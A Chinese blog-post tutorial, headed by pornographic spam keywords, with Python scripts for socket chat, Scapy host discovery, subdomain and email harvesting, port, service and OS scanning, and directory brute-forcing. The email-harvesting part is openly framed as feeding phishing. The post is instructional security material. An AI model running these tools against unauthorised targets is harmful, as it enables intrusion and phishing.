日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 >

Python安全攻防-从入门到入狱

發(fā)布時間:2024/8/1 29 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Python安全攻防-从入门到入狱 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

居家隔離閑著無聊
思來想去決定寫篇關(guān)于【Python攻防】\color{blue}{【Python攻防】}Python專欄
沒辦法-越🥦越想學(xué)


網(wǎng)上有《Python安全攻防》📕
想深入學(xué)習(xí)的👦可以買
我沒買–畢竟我喜歡白嫖🤪

  • ?前言?
    • 國家網(wǎng)絡(luò)安全法
  • 🌋正文🌋
    • 一、Socket網(wǎng)絡(luò)編程
      • TCP
      • UDP
    • 二、Scapy網(wǎng)絡(luò)嗅探
      • TCP發(fā)送數(shù)據(jù)
      • 基于ICMP協(xié)議的存活主機(jī)探測
      • 基于TCP/UDP的主機(jī)發(fā)現(xiàn)
      • 基于ARP協(xié)議的主機(jī)發(fā)現(xiàn)
    • 三、信息搜集
      • IP查詢
      • Whois查詢
      • 子域名挖掘
      • 郵件爬取
      • 端口掃描
      • 服務(wù)識別
      • 系統(tǒng)識別
      • 敏感目錄探測
    • 四、網(wǎng)絡(luò)空間搜索引擎
      • Zoomeye(鐘馗之眼)
        • 調(diào)用ZoomEye(鐘馗之眼)的API接口實(shí)現(xiàn)自動化信息搜集
      • Shodan
        • 調(diào)用Shodan的API接口實(shí)現(xiàn)自動化信息搜集
      • 小結(jié)🌇
    • 五、漏洞檢測與防御
      • Redis未授權(quán)訪問漏洞
        • Python批量檢測Redis未授權(quán)訪問漏洞
        • 漏洞防御與檢測
    • 六、數(shù)據(jù)加密
      • Python實(shí)現(xiàn)DES加解密
      • Python實(shí)現(xiàn)AES加解密
      • Python實(shí)現(xiàn)MD5加密
    • 七、身份認(rèn)證
      • Python社工字典生成
      • Python后臺弱口令爆破
      • SSH暴力破解
      • FTP暴力破解
    • 八、Fuzz測試
      • Python繞過安全狗
    • 九、Scapy進(jìn)劫
      • ARP毒化
      • Dos
        • 數(shù)據(jù)鏈路層Dos-MAC泛洪攻擊
        • 網(wǎng)絡(luò)層Dos-死亡之Ping
        • 傳輸層Dos-SYN拒絕服務(wù)攻擊
        • 應(yīng)用層Dos-Slowloris攻擊
        • 防御策略
    • 十、完結(jié)

?前言?

  • 隨著近幾年互聯(lián)網(wǎng)的發(fā)展,Python在各行各業(yè)發(fā)揮著舉足輕重的作用。除應(yīng)用在科學(xué)計算、大數(shù)據(jù)處理等人們熟知的領(lǐng)域外,在信息安全領(lǐng)域中使用也異常廣泛。這是因為對于滲透測試工程師來說Python語言不僅上手容易,而且還有大量豐富的開源庫。通過Python可以幫助他們又好又快的完成一項任務(wù),以少量的代碼便可實(shí)現(xiàn)所需功能。從而借助Python打造更安全的💻。

國家網(wǎng)絡(luò)安全法

敲重點(diǎn)👉中華人民共和國網(wǎng)絡(luò)安全法👈建議倒背如流

🌋正文🌋

一、Socket網(wǎng)絡(luò)編程

網(wǎng)絡(luò)調(diào)試助手:https://pan.baidu.com/s/1Do-v8XMDaIYJsXRQok5RhQ 提取碼:ya4g (便于測試)

??套接字(Socket)是計算機(jī)之間進(jìn)行通信的一種約定。通過Socket,一臺計算機(jī)可以接受其他計算機(jī)的數(shù)據(jù),也可以向其他計算機(jī)發(fā)送數(shù)據(jù)。遠(yuǎn)程管理軟件和黑客軟件大多依賴于Socket來實(shí)現(xiàn)特定功能的,其包括兩個部分:運(yùn)行于服務(wù)器端稱之為ServerSocket,運(yùn)行于客戶機(jī)端稱之ClientSocket。

TCP

TCP是因特網(wǎng)中的傳輸層協(xié)議,使用三次握手協(xié)議建立連接。

TCP_Client.py

import socketdef main():# 創(chuàng)建TCP套接字tcp_client_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)# 服務(wù)器地址sever_ip = input("請輸入服務(wù)器ip:")sever_port = input("請輸入服務(wù)器端口:")# 連接服務(wù)器(元組)tcp_client_socket.connect((sever_ip,int(sever_port)))# 輸入發(fā)送的數(shù)據(jù)data = input("請輸入要發(fā)送的數(shù)據(jù):")# 發(fā)送數(shù)據(jù)tcp_client_socket.send(data.encode("utf-8"))#接收數(shù)據(jù)recv_data = tcp_client_socket.recv(1024)print("對方的回復(fù):"recv_data.decode("utf-8"))if __name__ == '__main__':main()

nc -lvp 8888 監(jiān)聽8888端口
(一次完整對話)

TCP_Sever.py

import socketdef main():# 創(chuàng)建套接字tcp_server_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)# 綁定本地IP和端口tcp_server_socket.bind(("192.168.12.1",8888))# 被動 listentcp_server_socket.listen(128)while True:# 等待客戶端信息print("等待客戶端連接")client_socket,client_addr = tcp_server_socket.accept()print("客戶端為:",client_addr)#接收對方發(fā)送數(shù)據(jù)recv_data = client_socket.recv(1024)print("接收到信息為:",recv_data.decode("utf-8"))#發(fā)送數(shù)據(jù)到客戶端client_socket.send("Yasso".encode("utf-8"))client_socket.close()if __name__ == "__main__":main()

UDP

UDP 為應(yīng)用程序提供了一種無需建立連接就可以發(fā)送封裝的 IP 數(shù)據(jù)包的方法。

UDP_Client_send.py

import socket #創(chuàng)建udp套接字 udp_socket = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) # 目標(biāo)ip和端口 target_addr = ('192.168.12.128',8888)#獲取數(shù)據(jù) data = input("請輸入要發(fā)送的數(shù)據(jù):")#發(fā)送數(shù)據(jù) udp_socket.sendto(data.encode('utf-8'),target_addr)udp_socket.close()

UDP_Client_receive.py

import socket #創(chuàng)建udp套接字 udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)local_addr=('192.168.12.128',8888) #綁定ip(必須本地)和端口 udp_socket.bind(local_addr)#等待接受對方發(fā)送的數(shù)據(jù) recv_data = udp_socket.recvfrom(1024) #表示本次接受的最大字節(jié)數(shù)1024# 顯示接受的數(shù)據(jù) print(recv_data[0].decode('utf-8')) udp_socket.close()

liunx等待接受數(shù)據(jù)->win10發(fā)送數(shù)據(jù)->liunx成功接收數(shù)據(jù)

nc -ulp 8888 監(jiān)聽udp模式下的8888端口

私密聊天室

# UDP應(yīng)用-私密聊天室(極簡) import socketdef send(chat_ip,chat_port):udp_socket = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)"""發(fā)送消息"""address = (chat_ip,int(chat_port))print(address)data = input("請輸入發(fā)送的消息:")udp_socket.sendto(data.encode("utf-8"),address)def receive():"""接收消息"""udp_socket = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)# 綁定本地IP和端口udp_socket.bind(("192.168.12.1",8888))recv_data = udp_socket.recvfrom(1024)print(recv_data[0].decode('utf-8'))def main():chat_ip = input("請輸入您聊天對方IP地址:")chat_port = input("請輸入您聊天對方端口:")# 循環(huán)調(diào)用while True:print("++++++歡迎進(jìn)入私密聊天室++++++")print("0:發(fā)送消息")print("1:接收消息")print("2:退出聊天")function = input("請輸入您要用的模塊")if function == "0":send(chat_ip,chat_port)elif function == "1":receive()elif function == "2":breakelse:print("輸入有誤,請重新輸入")if __name__ == '__main__':main()

二、Scapy網(wǎng)絡(luò)嗅探

Scapy是一個可以讓用戶發(fā)送、偵聽和解析并偽裝網(wǎng)絡(luò)報文的Python程序。這些功能可以用于制作偵測、掃描和攻擊網(wǎng)絡(luò)的工具

pip install scapy 安裝scapy
pip install ipython安裝交互式shell

??Scapy是一個強(qiáng)大的交互式包操作程序。它能夠偽造或解碼大量協(xié)議的數(shù)據(jù)包,在網(wǎng)絡(luò)上發(fā)送它們,捕獲它們,匹配請求和響應(yīng),等等。Scapy可以輕松地處理大多數(shù)經(jīng)典任務(wù),如掃描、跟蹤、探測、單元測試、攻擊或網(wǎng)絡(luò)發(fā)現(xiàn)。它可以代替hping、arpsoof、arp-sk、arping、p0f甚至Nmap、tcpdump和tshark的某些部分

TCP發(fā)送數(shù)據(jù)

TCPsend.py

# -- coding: utf-8 -- import time import threading import sys from scapy.all import *# 數(shù)據(jù)包應(yīng)用層數(shù)據(jù)部分 data = 'flag{flag_is_not_here}'# src:源地址 、sport:源端口、dst:目標(biāo)地址、dport:目標(biāo)端口 pkt = IP(src='192.168.12.128', dst='192.168.12.166') / TCP(sport=4444, dport=6666) / data# 間隔一秒發(fā)送一次 總共發(fā)送5次 發(fā)送網(wǎng)卡口(iface):eth0 send(pkt, inter=1, count=5, iface="eth0")

基于ICMP協(xié)議的存活主機(jī)探測

??ICMP協(xié)議是一種面向無連接的協(xié)議,用于傳輸出錯報告控制信息。它是一個非常重要的協(xié)議,它對于網(wǎng)絡(luò)安全具有極其重要的意義。 屬于網(wǎng)絡(luò)層協(xié)議,主要用于在主機(jī)與路由器之間傳遞控制信息,包括報告錯誤、交換受限控制和狀態(tài)信息等。當(dāng)遇到IP數(shù)據(jù)無法訪問目標(biāo)、IP路由器無法按當(dāng)前的傳輸速率轉(zhuǎn)發(fā)數(shù)據(jù)包等情況時,會自動發(fā)送ICMP消息。

判斷是否為活躍主機(jī),只需要向其發(fā)送一個ICMP請求,如果這臺主機(jī)處于活躍狀態(tài),那么它在收到這個請求之后就會給出一個回應(yīng)。

# -- coding: utf-8 -- from scapy.all import * # 構(gòu)造IP包頭構(gòu)造ICMP包頭加載發(fā)送數(shù)據(jù)包函數(shù)for i in range(1,254): # 整個個網(wǎng)段ip="192.168.12."+str(i) # 設(shè)置IP地址pkt=IP(dst=ip,src="192.168.12.128")/ICMP(type="Echo-request") #ICMP包的類型為Echo request——回顯請求(Ping請求)rep=sr1(pkt,timeout=1,verbose=False) # 發(fā)送和接受數(shù)據(jù)包,超時時間為1秒,設(shè)置無過程回顯。# 如果該數(shù)據(jù)包有回應(yīng)則輸出if rep:print("The " + rep[IP].src + " is live")

基于TCP/UDP的主機(jī)發(fā)現(xiàn)

基于TCP、UDP的主機(jī)發(fā)現(xiàn)屬于四層主機(jī)發(fā)現(xiàn)是一個位于傳輸層的協(xié)議。可以用來探測遠(yuǎn)程主機(jī)存活、端口開放、服務(wù)類型以及系統(tǒng)類型等信息,相比于三層主機(jī)發(fā)現(xiàn)更為可靠用途更廣.

TCP
工作原理主要依據(jù)目標(biāo)主機(jī)響應(yīng)數(shù)據(jù)包中flags字段,如果flags字段有值,則表示主機(jī)存活,該字段通常包括SYN、FIN、ACK、PSH、RST、URG六種類型。SYN表示建立連接,FIN表示關(guān)閉連接,ACK表示應(yīng)答,PSH表示包含DATA數(shù)據(jù)傳輸,RST表示連接重置,URG表示緊急指針。

# -- coding: utf-8 -- from scapy.all import *for i in range(1,254): # 整個個網(wǎng)段ip="192.168.12."+str(i) # 設(shè)置IP地址pkt=IP(dst=ip)/TCP(flags="A",dport=4444) #響應(yīng)數(shù)據(jù)包中flags值判斷主機(jī)是否存活rep=sr1(pkt,timeout=1,verbose=False) # 發(fā)送和接受數(shù)據(jù)包,超時時間為1秒,設(shè)置無過程回顯。if rep: # 如果該數(shù)據(jù)包有相應(yīng)則輸出print("The " + rep[IP].src + " is live")

UDP
UDP是向目標(biāo)主機(jī)一個沒有開放的端口發(fā)送數(shù)據(jù),目標(biāo)主機(jī)會返回一個目的端口不可達(dá)的ICMP報文,以此來判斷主機(jī)是否在線。如果主機(jī)不在線,或者目標(biāo)端口開放,UDP探測是不會收到響應(yīng)包的。

# -- coding: utf-8 -- from scapy.all import *for i in range(1,254): # 整個個網(wǎng)段ip="192.168.12."+str(i) # 設(shè)置IP地址pkt=IP(dst=ip)/UDP(dport=6666) rep=sr1(pkt,timeout=1,verbose=False) # 發(fā)送和接受數(shù)據(jù)包,超時時間為1秒,設(shè)置無過程回顯。if rep: # 如果該數(shù)據(jù)包有相應(yīng)則輸出print("The " + rep[IP].src + " is live")

wireshark攔截

基于ARP協(xié)議的主機(jī)發(fā)現(xiàn)

地址解析協(xié)議,即ARP,是根據(jù)IP地址獲取物理地址的一個TCP/IP協(xié)議。主機(jī)發(fā)送信息時將包含目標(biāo)IP地址的ARP請求廣播到局域網(wǎng)絡(luò)上的所有主機(jī),并接收返回消息,以此確定目標(biāo)的物理地址;收到返回消息后將該IP地址和物理地址存入本機(jī)ARP緩存中并保留一定時間,下次請求時直接查詢ARP緩存以節(jié)約資源。

ARP
對以太網(wǎng)內(nèi)的每個主機(jī)都進(jìn)行ARP請求。若主機(jī)存活,則會響應(yīng)我們的ARP請求,否則不會響應(yīng).因為ARP涉及網(wǎng)絡(luò)層和數(shù)據(jù)鏈路層所以需要使用Scapy中的Ether和ARP。

# -- coding: utf-8 -- from scapy.all import *for i in range(1,254): # 整個個網(wǎng)段ip_list=[]ip="192.168.12."+str(i) # 設(shè)置IP地址# 發(fā)送ARP包# 二層發(fā)包,需要添加以太網(wǎng)頭部,所以要寫成Ether/ARP# 因為最底層用到了二層,所以要用srp()發(fā)包ans=srp(Ether(dst='FF:FF:FF:FF:FF:FF')/ARP(op=1,pdst=ip,hwdst='00:00:00:00:00:00'),timeout=1,verbose=False)if ans[0].res:print("The "+ip+" is live")

三、信息搜集

IP查詢

IP查詢是通過當(dāng)前所獲取到的URL去查詢對應(yīng)IP地址的過程。可以應(yīng)用Socket庫函數(shù)中的gethostbyname()獲取域名所對應(yīng)的IP值°

import socket domain = input("請輸入要查詢的域名:") ip = socket.gethostbyname(domain) print("IP地址為:",ip)

Whois查詢

whois模塊查詢域名www.baidu.com的注冊信息

pip install python-whois 安裝模塊

from whois import whois data = whois('www.baidu.com') print(data)

子域名挖掘

域名可以分為頂級域名、—級域名、二級域名等。子域名(subdomam)是頂級域名(一級域名或父域名)的下—級。例如mail.example.com和calendar.example.com是example.com的兩個子域,而example.com則是頂級域.com的子域。在測試過程中測試目標(biāo)主站時如果未發(fā)現(xiàn)任何相關(guān)漏洞,此時通常會考慮??目標(biāo)系統(tǒng)的子域名。子域名??方法有很多種,例如,搜索引擎、子域名破解、字典查詢等。

import requests from bs4 import BeautifulSoup from urllib.parse import urlparse import sys def bing_search(site,pages):Subdomain = []headers = { #HTTP Headers是HTTP請求和相應(yīng)的核心,它承載了關(guān)于客戶端瀏覽器,請求頁面,服務(wù)器等相關(guān)的信息'User-Agent': 'Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36', #是HTTP協(xié)議中的一部分,屬于頭域的組成部分,是一種向訪問網(wǎng)站提供你所使用的瀏覽器類型、操作系統(tǒng)及版本、CPU 類型、瀏覽器渲染引擎、瀏覽器語言、瀏覽器插件等信息的標(biāo)識'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',#屬于請求報頭,代表發(fā)送端(客戶端)希望接受的數(shù)據(jù)類型'Referer': "https://cn.bing.com", #表示一個來源}for i in range(1,int(pages)+1):url = "https://cn.bing.com/search?q=site%3a"+site+"&go=Search&qs=ds&first="+ str((int(i)-1)*10) +"&FORM=PERE"html = requests.get(url,headers=headers) #獲取HTML網(wǎng)頁,對應(yīng)HTTP的GETsoup = BeautifulSoup(html.content,'html.parser')job_bt = soup.findAll('h2') #返回一個包含HTML文檔標(biāo)題標(biāo)簽h2的列表for i in job_bt:link = i.a.get('href')domain = str(urlparse(link).scheme + "://" +urlparse(link).netloc) #儲存子域名if domain in Subdomain:passelse:Subdomain.append(domain)print(domain) if __name__ == '__main__':if len(sys.argv) == 3:site = sys.argv[1]page = sys.argv[2]else:print("usage: %s baidu.com 10" % sys.argv[0]) #輸出幫助信息sys.exit(-1)Subdomain = bing_search(site,page)

python Subdomain.py baidu.com 20 數(shù)字20表示獲取Ping引擎頁數(shù)

力推👉?在線子域名查詢👈?

郵件爬取

??在針對目標(biāo)系統(tǒng)進(jìn)行滲透的過程中,如果目標(biāo)服務(wù)器安全性很高,通過服務(wù)器很難獲取目標(biāo)權(quán)限時,通常會采用社工的方式對目標(biāo)服務(wù)進(jìn)行進(jìn)一步攻擊🤺。針對搜索界面的相關(guān)📩信息進(jìn)行爬取、處理等操作之后。利用獲得的📫賬號批量發(fā)送🎣📩,誘騙、欺詐目標(biāo)用戶或管理員進(jìn)行賬號登錄或點(diǎn)擊執(zhí)行,進(jìn)而獲取目標(biāo)系統(tǒng)的其權(quán)限。

import sys import getopt import requests from bs4 import BeautifulSoup import re#主函數(shù),傳入用戶輸入的參數(shù) def start(argv):url = ""pages = ""if len(sys.argv) < 2:print("-h 幫助信息;\n")sys.exit()#定義異常處理try:banner()opts,args = getopt.getopt(argv,"-u:-p:-h")except getopt.GetoptError:print('Error an argument!')sys.exit()for opt,arg in opts:if opt == "-u":url = argelif opt == "-p":pages = argelif opt == "-h":print(usage())launcher(url,pages)#banner信息 def banner():print('\033[0;31;42m 爬蟲不控頻,親人兩行淚 \033[0m')#使用規(guī)則 def usage():print('-h: --help 幫助;')print('-u: --url 域名;')print('-p: --pages 頁數(shù);')print('eg: python -u "www.baidu.com" -p 100' + '\n')sys.exit()#漏洞回調(diào)函數(shù) def launcher(url,pages): #調(diào)用bing_search()和baidu_search()函數(shù)并且將bing爬到的和baidu爬到的合并去重email_num = []key_words = ['email','mail','mailbox','郵件','郵箱','postbox']for page in range(1,int(pages)+1):for key_word in key_words:bing_emails = bing_search(url,page,key_word)baidu_emails = baidu_search(url,page,key_word)sum_emails = bing_emails + baidu_emailsfor email in sum_emails:if email in email_num:passelse:print(email)with open('data.txt','a+') as f:f.write(email + '\n')email_num.append(email)#bingSearch def bing_search(url,page,key_word): #繞過Bing搜索引擎反爬(校驗referer和cookie)referer = "http://cn.bing.com/search?q=email+site%3abaidu.com&qs=n&sp=-1&pq=emailsite%3abaidu.com&first=1&FORM=PERE1"conn = requests.session()bing_url = "https://cn.bing.com/search?q="+key_word+"site%3a"+url+"&qs=n&sp=-1&pq="+key_word+"site%3a"+url+"&first="+str((page-1)*10)+"&FORM=PERE1"conn.get('http://cn.bing.com',headers=headers(referer))r = conn.get(bing_url,stream=True,headers=headers(referer),timeout=8)emails = search_email(r.text)return emails#baiduSearch def baidu_search(url,page,key_word): #繞過百度搜索引擎的反爬(JS請求鏈)email_list = []emails = []referer = "https://www.baidu.com/s?wd=email+site%3Abaidu.com&pn=1"baidu_url = "https://www.baidu.com/s?wd="+key_word+"+site%3A"+url+"&pn="+str((page-1)*10)conn = requests.session()conn.get(referer,headers=headers(referer))r = conn.get(baidu_url, headers=headers(referer))soup = BeautifulSoup(r.text, 'lxml')tagh3 = soup.find_all('h3')for h3 in tagh3:href = h3.find('a').get('href')try:r = requests.get(href, headers=headers(referer),timeout=8)emails = search_email(r.text)except Exception as e:passfor email in emails:email_list.append(email)return email_listdef search_email(html):emails = re.findall(r"[a-z0-9\.\-+_]+@[a-z0-9\.\-+_]+\.[a-z]+",html,re.I) #正則表達(dá)式獲取郵箱號碼return emailsdef headers(referer):headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36','Accept': '*/*','Accept-Language':'en-US,en;q=0.5','Accept-Encoding':'gzip,deflate','Referer':referer}return headersif __name__ == '__main__':#定義異常try:start(sys.argv[1:])except KeyboardInterrupt:print("interrupted by user,killing all threads...")

試了下某學(xué)校網(wǎng)站,爬到不少
溜了溜了🎿🎿

端口掃描

import socket import threadingdef main(target):print('開始掃描---')for port in range(1,65535):t = threading.Thread(target=hackport,args=(target,port))t.start()def hackport(target,port):try:res = socket.socket(socket.AF_INET,socket.SOCK_STREAM)res.connect((target,port)) #雙括號元組print("%s:%d 端口開放"%(target,port))res.close()except:passif __name__ == '__main__':target= input("請輸入要掃描的IP:")main(target)print('***掃描完畢***')

內(nèi)網(wǎng)靶機(jī)

nmap -sV -p- 192.168.12.134

服務(wù)識別

from optparse import OptionParser import time import socket import os import reSIGNS = (# 協(xié)議 | 版本 | 關(guān)鍵字b'FTP|FTP|^220.*FTP',b'MySQL|MySQL|mysql_native_password',b'oracle-https|^220- ora',b'Telnet|Telnet|Telnet',b'Telnet|Telnet|^\r\n%connection closed by remote host!\x00$',b'VNC|VNC|^RFB',b'IMAP|IMAP|^\* OK.*?IMAP',b'POP|POP|^\+OK.*?',b'SMTP|SMTP|^220.*?SMTP',b'Kangle|Kangle|HTTP.*kangle',b'SMTP|SMTP|^554 SMTP',b'SSH|SSH|^SSH-',b'HTTPS|HTTPS|Location: https',b'HTTP|HTTP|HTTP/1.1',b'HTTP|HTTP|HTTP/1.0', ) def regex(response, port):text = ""if re.search(b'<title>502 Bad Gateway', response):proto = {"Service failed to access!!"}for pattern in SIGNS:pattern = pattern.split(b'|')if re.search(pattern[-1], response, re.IGNORECASE):proto = "["+port+"]" + " open " + pattern[1].decode()breakelse:proto = "["+port+"]" + " open " + "Unrecognized"print(proto)def request(ip,port):response = ''PROBE = 'GET / HTTP/1.0\r\n\r\n'sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.settimeout(10)result = sock.connect_ex((ip, int(port)))if result == 0:try:sock.sendall(PROBE.encode())response = sock.recv(256)if response:regex(response, port)except ConnectionResetError:passelse:passsock.close()def main():parser = OptionParser("Usage:%prog -i <target host> ") # 輸出幫助信息parser.add_option('-i',type='string',dest='IP',help='specify target host') # 獲取ip地址參數(shù)parser.add_option('-p', type='string', dest='PORT', help='specify target host') # 獲取ip地址參數(shù)options,args = parser.parse_args()ip = options.IPport = options.PORTprint("Scan report for "+ip+"\n")for line in port.split(','):request(ip,line)time.sleep(0.2)print("\nScan finished!....\n")if __name__ == "__main__":try:main()except KeyboardInterrupt:print("interrupted by user, killing all threads...")

系統(tǒng)識別

根據(jù)按照目標(biāo)主機(jī)返回的響應(yīng)數(shù)據(jù)包中的TTL值來判斷操作系統(tǒng)類型的原理

from optparse import OptionParser import os import redef main():parser = OptionParser("Usage:%prog -i <target host>")parser.add_option('-i', type='string', dest='IP', help='specify target host')options, args = parser.parse_args()ip = options.IPttl_scan(ip)def ttl_scan(ip):ttlstrmatch = re.compile(r'ttl=\d+') #正則匹配取出TTL值ttlnummatch = re.compile(r'\d+')result = os.popen("ping -c 1 "+ip) # 調(diào)用os.popen()函數(shù)執(zhí)行ping命令res = result.read()for line in res.splitlines():result = ttlstrmatch.findall(line)if result:ttl = ttlnummatch.findall(result[0])if int(ttl[0]) <= 64: # ttl值小于等于64時,操作系統(tǒng)為linux系統(tǒng)print("%s is Linux/Unix" % ip)else: #否則就是windowsprint("%s is Windows" % ip)breakelse:passif __name__ == '__main__':main()

敏感目錄探測

#-*- coding:utf-8 -*- import requestsheaders = {"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0" } url = input("url: ") txt = input('字典.txt') # 同級目錄下的字典 url_list = [] if txt == "":txt = "字典.txt" try:with open(txt, 'r') as f:url_list = f.read().split('\n') except:print("error")for li in url_list:conn = "http://"+ url + "/" + litry:response = requests.get(conn, headers=headers)print("%s --------------- %s" % (conn, response))except:# print("%s --------------- %s" % (conn, e.code))pass

四、網(wǎng)絡(luò)空間搜索引擎

平常用fofa,不過貌似最近攤上事了,域名被列入了黑名單

搜索引擎是指從互聯(lián)網(wǎng)搜集信息,經(jīng)過一定整理以后,提供給用戶進(jìn)行查詢的系統(tǒng)傳統(tǒng)搜索引擎對我們來說并不陌生,像Google、百度等,每天我們幾乎都會用它們來搜索消息。與傳統(tǒng)搜索引擎相比,網(wǎng)絡(luò)空間搜索引擎有很大不同,其搜索目標(biāo)為全球的IP地址,實(shí)時掃描互聯(lián)網(wǎng)和解析各種設(shè)備,對網(wǎng)絡(luò)中的設(shè)備進(jìn)行探測識別和指紋分析,并將其掃描的目標(biāo)信息進(jìn)行分布式存儲,供需求者檢索使用。傳統(tǒng)的網(wǎng)絡(luò)空間搜索模型框架一般由五部分組成:掃描和指紋識別、分布存儲、索引、UI界面以及調(diào)度程序。

??網(wǎng)絡(luò)空間搜索引擎🕷?能夠幫助安全研究人員針對APT組織、攻擊方式等情況進(jìn)行分析;對于公司安全管理人員🧑?💻,能夠幫助他們進(jìn)行網(wǎng)絡(luò)資產(chǎn)匹配、安全評估等;對于安全白帽子,能夠幫助滲透測試人員在與目標(biāo)非交互的情況下搜集信息,例如,搜索資產(chǎn)系統(tǒng)類型開放端口等。

Quake網(wǎng)絡(luò)空間測繪系統(tǒng)(360)
資產(chǎn)狩獵框架-AssetsHunter
Censys搜索引擎
Zoomeye(鐘馗之眼)
Shodan(撒旦)

Zoomeye(鐘馗之眼)

?? Zoomeye支持公網(wǎng)設(shè)備指紋檢索和Web指紋檢索。Web指紋識別包括應(yīng)用名版本、前端框架、后端框架、服務(wù)端語言、服務(wù)器操作系統(tǒng)、網(wǎng)站容器、內(nèi)容管理系統(tǒng)和數(shù)據(jù)庫等。設(shè)備指紋識別包括應(yīng)用名、版本、開放端口、操作系統(tǒng)、服務(wù)名、地理位置等,直接輸人關(guān)鍵詞即可開始檢索。

設(shè)備檢索指紋語法 語法描述實(shí)例
app:組件名組件名稱app:“Apache httpd”
ver:組件版本組件的版本號ver:“2.2.16”
port:端口號目標(biāo)系統(tǒng)開放端口port:3389
os:操作系統(tǒng)目標(biāo)操作系統(tǒng)類型os:linux
service:服務(wù)名系統(tǒng)運(yùn)行的服務(wù)類型service:“ssh”
hostname:主機(jī)名目標(biāo)系統(tǒng)的主機(jī)名hostname:google.com
country:國家或者地區(qū)代碼目標(biāo)系統(tǒng)的地理位置country:US
city:城市名稱目標(biāo)系統(tǒng)所在城市city:“beijing”
ip:指定的IP地址目標(biāo)系統(tǒng)對應(yīng)的IP地址ip:8.8.8.8
org:組織結(jié)構(gòu)所屬的組織結(jié)構(gòu)org:“Vimpelcom”
asn:自治系統(tǒng)號自治系統(tǒng)編號asn:42839
ssl:SSL證書SSL證書ssl:“corp.google.com”
Web指紋檢索語法 語法描述實(shí)例
app:組件名組件名稱app:“Apache httpd”
ver:組件版本組件的版本號ver:“2.2.16”
site:網(wǎng)站域名目標(biāo)網(wǎng)站域名site:google.com
os:操作系統(tǒng)目標(biāo)操作系統(tǒng)類型os:linux
title:頁面標(biāo)題網(wǎng)站標(biāo)題site:Nginx
kewords:頁面關(guān)鍵字網(wǎng)站頁面關(guān)鍵字keywords:Nginx
desc:頁面說明頁面描述字段desc:Nginx
headers:請求頭部HTTP請求中的Headersheaders:Server
country:國家或者地區(qū)代碼目標(biāo)系統(tǒng)的地理位置country:US
city:城市名稱目標(biāo)系統(tǒng)所在城市city:“beijing”
ip:指定的IP地址目標(biāo)系統(tǒng)對應(yīng)的IP地址ip:8.8.8.8
org:組織機(jī)構(gòu)所屬的組織機(jī)構(gòu)org:“Vimpelcom”
asn:自治系統(tǒng)號自治系統(tǒng)編號asn:42839

調(diào)用ZoomEye(鐘馗之眼)的API接口實(shí)現(xiàn)自動化信息搜集

ZoomEye-API 分為兩種驗證方式,API-KEY 和登錄驗證
ZoomEye API手冊
curl -X POST https://api.zoomeye.org/user/login -d '{"username": "28********@qq.com","password": "123456"}'

使用host方法,查詢開放6379端口的服務(wù)器IP地址,并打印出檢索到的lP地址和端口號

import requests import json from bs4 import BeautifulSoupdata_info = {'username':"z***@qq.com",'password':"P******X"} respond1= requests.post(url = 'https://api.zoomeye.org/user/login',json = data_info)authorization = {'Authorization' : 'JWT ' +"eyJhbGciOiJIU***kpXVCJ9.eyJpZGVudG*MzA1***********mJmIjoxN*I-ZMB0zG*tPZK11FCo"} url = "https://api.zoomeye.org/host/search?query=port:6379&page=1&facet=app,os" respond = requests.get(url = url,headers = authorization)data = json.loads(respond.text)for line in data['matches']:print(line['ip']+': '+str(line['portinfo']['port']))

Shodan

??Shodan主要獲取互聯(lián)網(wǎng)中設(shè)備中的服務(wù)、位置、端口、版本等信息,目前比較受歡迎的內(nèi)容有webcam、linksys、 cisco、 nctgear、SCADA等。通過不同的搜索語法可以做到批量搜索漏洞主機(jī)、統(tǒng)計中病毒主機(jī)、進(jìn)行弱口令爆破、獲取shell等功能。

Shoda常用語法 語法描述實(shí)例
city:城市名稱城市city:“beijing”
country:國家或者地區(qū)代碼國家的簡稱countIy:“CN”
geo:經(jīng)緯度經(jīng)緯度geo:“46.9481,7.4474”
hostname:主機(jī)名主機(jī)名或域名hostname:“baidu”
ip:IP地址IP地址ip:“11.11.11.11”
isp: ISP供應(yīng)商ISP供應(yīng)商isp:“China Telecom”
org:組織或者公司組織或者公司org:“baidu”
os:操作系統(tǒng)操作系統(tǒng)os:Windows 7 or 8
port:端口號端口號port:80
net:CIDR格式的IP地址CIDR格式的IP地址net:“190.30.40.0/24”
versjon:軟件版本號軟件版本version:“4.4.2”
vuln:漏洞編號漏洞CVE編號vuln:CVE-2020-0787
http.server:服務(wù)類型http請求返回中server的類型http.server:apache
http.status:請求狀態(tài)碼http請求返回響應(yīng)碼的狀態(tài)http.stams:200

調(diào)用Shodan的API接口實(shí)現(xiàn)自動化信息搜集

使用Python去調(diào)用Shodan的API接口可以實(shí)現(xiàn)自動化信息搜集,首先需要注冊🧑,在MyAccount中可以👁?APIKey.


Shodan API官方文檔

